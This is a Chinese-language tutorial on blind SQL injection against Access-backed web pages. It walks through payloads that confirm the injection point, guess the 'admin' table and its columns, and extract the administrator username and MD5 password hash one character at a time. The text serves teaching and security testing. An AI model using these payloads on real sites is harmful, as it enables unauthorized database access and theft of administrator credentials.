access注入之盲注
access盲注思路:
- 判断注入点
- 猜解表名
- 猜解字段名
- 爆破字段值
判断注入点
?NewsID=20&BigClassID=2&SmallClassID=2 and 1=1
?NewsID=20&BigClassID=2&SmallClassID=2 and 1=2
- 一面正常或不正常来判断是否存在注入点
猜解表名
- 与mysql数据库不同,access数据库没有类似于mysql的information_schema这样的系统索引库,所以我们只能根据经验靠猜了,在真实的测试环境中,也可以通过社工的方式进行猜解
?NewsID=20&BigClassID=2&SmallClassID=2 and exists(select * from admin)
- 结果返回正常,说明在access中存在表admin
猜解该表的字段名
?NewsID=20&BigClassID=2&SmallClassID=2 and exists(select adminuid,adminpwd from admin)
- 页面正常,说明access数据库的admin表中存在adminuid和adminpwd两字段
- 当然也可以使用如下语句进行判断:
?NewsID=20&BigClassID=2&SmallClassID=2 and 1=(select count(*) from admin where len(adminuid)>0)
一个小技巧
就是在我们猜表的字段名时,可以通过该网站后台管理页面的表单来帮助我们猜解。一般而言,程序员在写后台登录表单时,通常会将该表单中input标签的name属性设置的同数据库中相应的字段名相同。
爆破字段值
判断表中有多少条记录
?NewsID=20&BigClassID=2&SmallClassID=2 and (select count(*) from admin)=1
- 如下图,页面返回正常,说明admin表中只有一条记录
爆字段的值
- 先爆adminuid字段的值
- 先判断adminuid字段第一个值的长度是多少
?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 len(adminuid) from admin)=5
- 页面返回内容可以判断admin表的adminuid字段的第一个值的长度为5
- 先爆adminuid字段的值(可以采用二分法慢慢试,这里直接给出结论了)
?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminuid,1,1)) from admin)=97
- 页面返回正常,说明admin表中字段adminuid的第一个值的第一个字母为a(97是a的ascii码值)
- 由于先前我们已经判断admin表中只有一条记录,且第一个字段值的长度为5,所以无需继续爆破了
- 先判断adminuid字段第一个值的长度是多少
- 再判断adminpwd字段的值
- 先判断adminpwd字段第一个值的长度是多少
?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 len(adminpwd) from admin)=16
- 页面返回正常,说明admin表的adminpwd字段的第一个值的长度为16,初步推测可能是16b的MD5
?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminpwd,2,1)) from admin)=97
?NewsID=20&BigClassID=2&SmallClassID=2 and (select top 1 asc(mid(adminpwd,3,1)) from admin)=53
- .....
- 爆破出来的MD5值为:
55 97 53 55 97 53 97 55 52 51 56 57 52 97 48 101 --> 7a57a5a743894a0e -->admin
- 由于先前我们已经判断admin表中只有一条记录,所以无需继续爆破了
- 先判断adminpwd字段第一个值的长度是多少